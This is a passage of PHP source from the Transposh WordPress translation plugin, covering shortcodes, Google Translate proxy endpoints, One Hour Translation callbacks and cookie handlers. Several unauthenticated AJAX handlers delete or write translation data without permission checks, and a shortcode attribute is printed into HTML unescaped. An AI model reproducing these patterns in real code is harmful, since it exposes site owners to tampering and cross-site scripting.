($this->options->is_default_language($this->tgl) && !$this->options->enable_default_translate)) return $translation; tp_logger("($translation, $single, $plural, $domain)", 4); if (in_array($domain, transposh_consts::$ignored_po_domains)) return $translation; if ($translation != $single && $translation != $plural) { $translation = TP_GTXT_BRK . $translation . TP_GTXT_BRK_CLOSER; } $translation = str_replace(array('%s', '%1$s', '%2$s', '%3$s', '%4$s', '%5$s'), array(TP_GTXT_IBRK . '%s' . TP_GTXT_IBRK_CLOSER, TP_GTXT_IBRK . '%1$s' . TP_GTXT_IBRK_CLOSER, TP_GTXT_IBRK . '%2$s' . TP_GTXT_IBRK_CLOSER, TP_GTXT_IBRK . '%3$s' . TP_GTXT_IBRK_CLOSER, TP_GTXT_IBRK . '%4$s' . TP_GTXT_IBRK_CLOSER, TP_GTXT_IBRK . '%5$s' . TP_GTXT_IBRK_CLOSER), $translation); return $translation; } /** * This function makes sure wordpress sees the appropriate locale on translated pages for .po/.mo and mu integration * @param string $locale * @return string */ function transposh_locale_filter($locale) { $lang = transposh_utils::get_language_from_url($_SERVER['REQUEST_URI'], $this->home_url); if (!$this->options->is_active_language($lang)) { $lang = ''; } if (!$lang) { if (!$this->options->transposh_locale_override) { return $locale; } $lang = $this->options->default_language; } list ($l, $n, $f, $locale) = explode(',', transposh_consts::$languages[$lang]); return ($locale) ? $locale : $lang; } /** * Support for tp shortcodes - [tp] * @see http://trac.transposh.org/wiki/ShortCodes * @param array $atts * @param string $content * @return string */ function tp_shortcode($atts, $content = null) { $only_class = ''; $lang = ''; $nt_class = ''; if (isset($atts['not_in'])) { if (stripos($atts['not_in'], $this->target_language) !== false) { return; } } if (isset($atts['mylang'])) { if (isset($atts['lang']) && stripos($atts['lang'], $this->target_language) === false) { return; } return $this->target_language; } if (isset($atts['lang'])) { $lang = ' lang="' . $atts['lang'] . '"'; } if (isset($atts['only'])) { $only_class = ' class="' . ONLY_THISLANGUAGE_CLASS . '"'; } if (isset($atts['no_translate'])) { $nt_class = ' class="' . NO_TRANSLATE_CLASS . '"'; } if (isset($atts['widget'])) { ob_start(); $this->widget->widget(array('before_widget' => '', 'before_title' => '', 'after_widget' => '', 'after_title' => ''), array('title' => '', 'widget_file' => $atts['widget']), true); $widgetcontent = ob_get_contents(); ob_end_clean(); return $widgetcontent; } if ($lang || $only_class || $nt_class) { return '<span ' . $only_class . $nt_class . $lang . '>' . do_shortcode($content) . '</span>'; } else { return do_shortcode($content); } } // Proxied google translate suggestions function on_ajax_nopriv_tp_gsp() { $i = 0; // we need curl for this proxy if (!function_exists('curl_init')) return; transposh_utils::allow_cors(); $tl = $_GET['tl']; // we want to avoid unneeded work or dos attacks on languages we don't support if (!in_array($tl, transposh_consts::$google_languages) || !$this->options->is_active_language($tl)) return; $sl = 'auto'; if (isset($_GET['sl'])) $sl = $_GET['sl']; $q = urlencode(stripslashes($_GET['q'])); if (!$q) return; // avoid unneeded curling $url = 'http://translate.google.com/translate_a/t?client=a&q=' . $q . '&tl=' . $tl . '&sl=' . $sl; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //must set agent for google to respond with utf-8 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); $output = curl_exec($ch); if ($output === false) { echo 'Curl error: ' . curl_error($ch); die(); } curl_close($ch); //echo $output; $jsonarr = json_decode($output); if (!$jsonarr) { echo 'Not JSON'; die(); } if (!isset($jsonarr->results)) { $jsonarr2->results[] = $jsonarr; $jsonarr = $jsonarr2; } foreach ($jsonarr->results as $result) { unset($result->sentences[0]->orig); unset($result->sentences[0]->translit); unset($result->sentences[0]->src_translit); unset($result->src); unset($result->server_time); } $jsonout->result = $jsonarr->results[0]->sentences[0]->trans; echo json_encode($jsonout); die(); } // Proxied translation for google translate function on_ajax_nopriv_tp_gp() { // we need curl for this proxy if (!function_exists('curl_init')) return; transposh_utils::allow_cors(); // target language $tl = $_GET['tl']; // we want to avoid unneeded work or dos attacks on languages we don't support if (!in_array($tl, transposh_consts::$google_languages) || !$this->options->is_active_language($tl)) return; // source language $sl = 'auto'; if (isset($_GET['sl'])) $sl = $_GET['sl']; // item count $i = 0; $q = ''; foreach ($_GET['q'] as $p) { list($source, $trans) = $this->database->fetch_translation($p, $tl); if (!$trans) { $q .= '&q=' . urlencode(stripslashes($p)); } else { // holds cached results $r[$i] = $trans; } $i++; } // we avoid curling we had all results prehand if ($q) { $url = 'http://translate.google.com/translate_a/t?client=a' . $q . '&tl=' . $tl . '&sl=' . $sl; //var_dump($url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //must set agent for google to respond with utf-8 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); $output = curl_exec($ch); if ($output === false) { echo 'Curl error: ' . curl_error($ch); die(); } curl_close($ch); //echo $output; $jsonarr = json_decode($output); if (!$jsonarr) { echo 'Not JSON'; die(); } if (!isset($jsonarr->results)) { $jsonarr2->results[] = $jsonarr; $jsonarr = $jsonarr2; } foreach ($jsonarr->results as $result) { unset($result->sentences[0]->orig); unset($result->sentences[0]->translit); unset($result->sentences[0]->src_translit); unset($result->src); unset($result->server_time); } //die(); } header('Content-type: text/html; charset=utf-8'); // here we match online results with cached ones $k = 0; for ($j = 0; $j < $i; $j++) { if (isset($r[$j])) { $jsonout->results[] = $r[$j]; } else { if (isset($jsonarr->results[$k]->sentences[0]->trans)) { $jsonout->results[] = $jsonarr->results[$k]->sentences[0]->trans; } else { $jsonout->results[] = $_GET['q'][$j]; } $k++; } } echo json_encode($jsonout); // do the db dance - a bit hackish way to insert downloaded translations directly to the db without having // to pass through the user and collect $200 if ($k) { $_POST['items'] = $k; $_POST['ln0'] = $tl; $_POST['sr0'] = 1; // google, hmm hmm, $k = 0; for ($j = 0; $j < $i; $j++) { if (!isset($r[$j])) { $_POST["tk$k"] = transposh_utils::base64_url_encode(stripslashes($_GET['q'][$j])); // stupid, but should work $_POST["tr$k"] = $jsonout->results[$j]; $k++; } } $this->database->update_translation(); } die(); } /** * Queue for One Hour Translate */ function on_ajax_nopriv_tp_oht() { // Admin access only if (!current_user_can('manage_options')) { echo "only admin is allowed"; die(); } $oht = get_option(TRANSPOSH_OPTIONS_OHT, array()); if (!isset($_GET['orglang'])) $_GET['orglang'] = $this->options->default_language; $key = $_GET['token'] . '@' . $_GET['lang'] . '@' . $_GET['orglang']; if (isset($oht[$key])) { unset($oht[$key]); tp_logger('oht false'); echo json_encode(false); } else { $oht[$key] = array('q' => $_GET['q'], 'l' => $_GET['lang'], 'ol' => $_GET['orglang'], 't' => $_GET['token']); tp_logger('oht true'); echo json_encode(true); } update_option(TRANSPOSH_OPTIONS_OHT, $oht); // we will make an oht send event in defined time wp_clear_scheduled_hook('transposh_oht_event'); wp_schedule_single_event(time() + TRANSPOSH_OHT_DELAY, 'transposh_oht_event'); die(); } /** * OHT event running */ function run_oht() { tp_logger("oht should run", 2); $oht = get_option(TRANSPOSH_OPTIONS_OHT, array()); tp_logger($oht, 3); $ohtp = get_option(TRANSPOSH_OPTIONS_OHT_PROJECTS, array()); $projectid = time(); //send less data $ohtbody = array(); $pcount = 0; foreach ($oht as $arr) { $pcount++; tp_logger($arr); $ohtbody[$arr['t']] = array('q' => $arr['q'], 'l' => $arr['l'], 'ol' => $arr['ol']); } $ohtbody['pid'] = $projectid; $ohtbody['id'] = $this->options->oht_id; $ohtbody['key'] = $this->options->oht_key; $ohtbody['callback'] = admin_url('admin-ajax.php'); $ohtbody['homeurl'] = $this->home_url; tp_logger($ohtbody); // now we send this, add to log that it was sent to oht.. we'll also add a timer to make sure it gets back to us $ret = wp_remote_post('http://svc.transposh.org/oht.php', array('body' => $ohtbody)); if ($ret['response']['code'] == '200') { delete_option(TRANSPOSH_OPTIONS_OHT); $ohtp[$projectid] = $pcount; update_option(TRANSPOSH_OPTIONS_OHT_PROJECTS, $ohtp); } else { tp_logger($ret, 1); } } // getting translation history function on_ajax_nopriv_tp_history() { // deleting transposh_utils::allow_cors(); if (isset($_GET['timestamp'])) { $this->database->del_translation_history($_GET['token'], $_GET['lang'], $_GET['timestamp']); } $this->database->get_translation_history($_GET['token'], $_GET['lang']); die(); } // the case of posted translation function on_ajax_nopriv_tp_translation() { transposh_utils::allow_cors(); do_action('transposh_translation_posted'); $this->database->update_translation(); die(); } /** * callback from one hour translation */ function on_ajax_nopriv_tp_ohtcallback() { $ohtp = get_option(TRANSPOSH_OPTIONS_OHT_PROJECTS, array()); tp_logger($ohtp); if ($ohtp[$_POST['projectid']]) { Logger($_POST['projectid'] . " was found and will be processed"); do_action('transposh_oht_callback'); tp_logger($_POST); $ohtp[$_POST['projectid']] -= $_POST['items']; if ($ohtp[$_POST['projectid']] <= 0) { unset($ohtp[$_POST['projectid']]); } tp_logger($ohtp); update_option(TRANSPOSH_OPTIONS_OHT_PROJECTS, $ohtp); $this->database->update_translation("OHT"); } die(); } // getting translation alternates function on_ajax_nopriv_tp_trans_alts() { transposh_utils::allow_cors(); $this->database->get_translation_alt($_GET['token']); die(); } // set the cookie with ajax, no redirect needed function on_ajax_nopriv_tp_cookie() { setcookie('TR_LNG', transposh_utils::get_language_from_url($_SERVER['HTTP_REFERER'], $this->home_url), time() + 90 * 24 * 60 * 60, COOKIEPATH, COOKIE_DOMAIN); tp_logger('Cookie ' . transposh_utils::get_language_from_url($_SERVER['HTTP_REFERER'], $this->home_url)); die(); } // Set our cookie and return (if no js works - or we are in the default language) function on_ajax_nopriv_tp_cookie_bck() { setcookie('TR_LNG', transposh_utils::get_language_from_url($_SERVER['HTTP_REFERER'], $this->home_url), time() + 90 * 24 * 60 * 60, COOKIEPATH, COOKIE_DOMAIN); if ($_SERVER['HTTP_REFERER']) { $this->tp_redirect($_SERVER['HTTP_REFERER']); } else { $this->tp_redirect($my_transposh_plugin->home_url); } die(); } } $my_transposh_plugin = new transposh_plugin(); // some global functions for programmers /** * Function provided for old widget include code compatability * @param array $args Not needed */ function transposh_widget($args = array(), $instance = array('title' => 'Translation')) { global $my_transposh_plugin; $my_transposh_plugin->widget->widget($args, $instance); } /** * Function for getting the current language * @return string */ function transposh_get_current_language() { global $my_transposh_plugin; return $my_transposh_plugin->target_language; } /** * Function for use in themes to allow different outputs * @param string $default - the default text in the default language * @param array $altarray - array including alternatives in the format ("es" => "hola") */ function transposh_echo($default, $altarray) { if (isset($altarray[transposh_get_current_language()])) { echo TP_GTXT_BRK . $altarray[transposh_get_current_language()] . TP_GTXT_BRK_CLOSER; } else { echo $default; } } /** * This function provides easier access to logging using the singleton object * @param mixed $msg * @param int $severity */ function tp_logger($msg, $severity = 3, $do_backtrace = false) { global $my_transposh_plugin; if (isset($my_transposh_plugin) && is_object($my_transposh_plugin) && !$my_transposh_plugin->options->debug_enable) return; $GLOBALS['tp_logger']->do_log($msg, $severity, $do_backtrace); } ?>